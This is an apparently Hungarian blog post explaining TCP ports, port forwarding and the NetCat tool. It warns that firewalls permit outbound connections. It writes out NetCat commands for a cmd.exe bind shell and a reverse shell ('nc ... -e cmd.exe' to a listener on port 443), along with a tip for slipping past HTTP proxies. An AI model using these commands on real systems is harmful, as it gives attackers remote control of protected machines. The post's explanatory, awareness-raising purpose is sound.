TCP port fogalma nyilván ismerős az olvasó előtt: ez az a szolgáltatási végpont, amelyhez az ügyfélprogramok (böngésző, POP3-levelező stb.) csatlakoznak a kiszolgálón, hogy hozzáférhessenek a számukra szükséges adatokhoz.

Ha valaki védeni szeretné a hálózatát más „felhasználók” csatlakozási kísérleteitől, nem kell mást tennie, mint a tűzfalán szépen becsukogatni a nemkívánatos portokat. Ma már a vállalati és otthoni tűzfalak úgy vannak beállítva, hogy befelé mindössze egykét port nyitott, és azok is konkrét belső címekre dobálják a beérkező csomagokat. Ezt nevezzük port forwardingnak. Az ábra egy tipikus, olcsó otthoni tűzfal portátirányítási beállítását tartalmazza.

Mi a helyzet a hálózatból kifelé irányuló kérésekkel? Ezt kétféleképpen szokták szabályozni: sehogy (minden mehet mindenhová), vagy szigorúan (csak HTTP és HTTPS mehet ki a külvilágba az ügyfélgépekről). Amint látjuk, a portok kezelése megoldott, kintről befelé nem jöhet más, csak aminek mi magunk nyitottunk kaput, bentről kifelé meg úgysem
lehet minket megtámadni... Micsoda tévedés!

A portátirányítás egy teljesen legális, sokszor életmentő művelet, amelyik arra szolgál, hogy ha egy ügyfélprogram mondjuk az 1433-as portra szokott csatlakozni, de a kiszolgáló egy másik porton fut, a két komponens egymásra találjon. Hogyan találják meg ezek után az ügyfélprogramok egymást?

Elérkeztünk a NetCat világához. Ezt a programocskát azért fejlesztette ki egy Hobbit
nevű programozó a múlt évezredben, hogy általános megoldást adjon a különböző portok
közötti kapcsolatteremtésre. Ami bejön a 3390-es portra, átdobjuk a 3389-esre stb.
Erre úgy képes, hogy ha egy ügyfélprogram mondjuk az 555-ös portra akar kapcsolódni,
a NetCat az alábbi paranccsal rácsatlakozik az 555-ösre, majd továbbítja azt a 666-osra:
nc -l -p 555 | nc localhost 666A parancsot előszeretettel használják a tűzfalon átlépésre (80->3389). Készítsünk egyszerű Telnet-kiszolgálót NetCattel! ( Most próba képpen nézzük csak úgy, hogy minden egy gépen fut le. De persze ez két nagyontávoli gép között is működik! ) Mi sem egyszerűbb! Hallgassunk a Telnet
porton, és ami ott bejön, küldjük bele a cmd.exe-be Próbáljunk rácsatlakozni egy másik gépről. Amit a kliensen begépelek, a szerveren fut le, majd a válasz a kliens ablakában
megjelenik. Működne ez mondjuk a 443-as (HTTPS) porton is? Persze, a NetCatnek édes mindegy a portszám. De hol fenyeget ez minket? Mi ebben a veszélyes? Hiszen ahhoz, hogy bárki távmenedzselje a gépünket, először is oda kellene másolnia a NetCatet, majd el kellene indítania –l kapcsolóval sőt még a tűzfalunkon is létre kellene hoznia egy publikálási szabályt. Amennyiben olyan buta lenne, hogy a TCP-csatornát „normális” irányban használja. Merthogy a NetCattel ez fordított irányban is megy!

1. Nyissunk portot egy általunk üzemeltetett, interneten lévő gépen, mondjuk,
a 443-as porton, és kezdjünk hallgatózni NetCattel:
nc -L -p 443 2. Indítsuk el a belső, tűzfallal védett gépen a NetCat-et így:
nc localhost 443 -e cmd.exe Hoppá! Ez sikerült! Kaptam odakint egy command promptot a belső gépre! Pedig a kapcsolat bentről kifelé épült fel, amit még a legszigorúbb tűzfalak is engedélyeznek. (Megjegyzés: azért nem a 80-as portot választottam, mert abba a HTTP proxyk belekotyognak, elrontják. Az SSL-nek tűnő 443-as porti forgalomba azonban nem.

Persze, aztán hogy kerül a belső gépre a NetCat? És ki indította el?

A bejegyzés trackback címe:

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.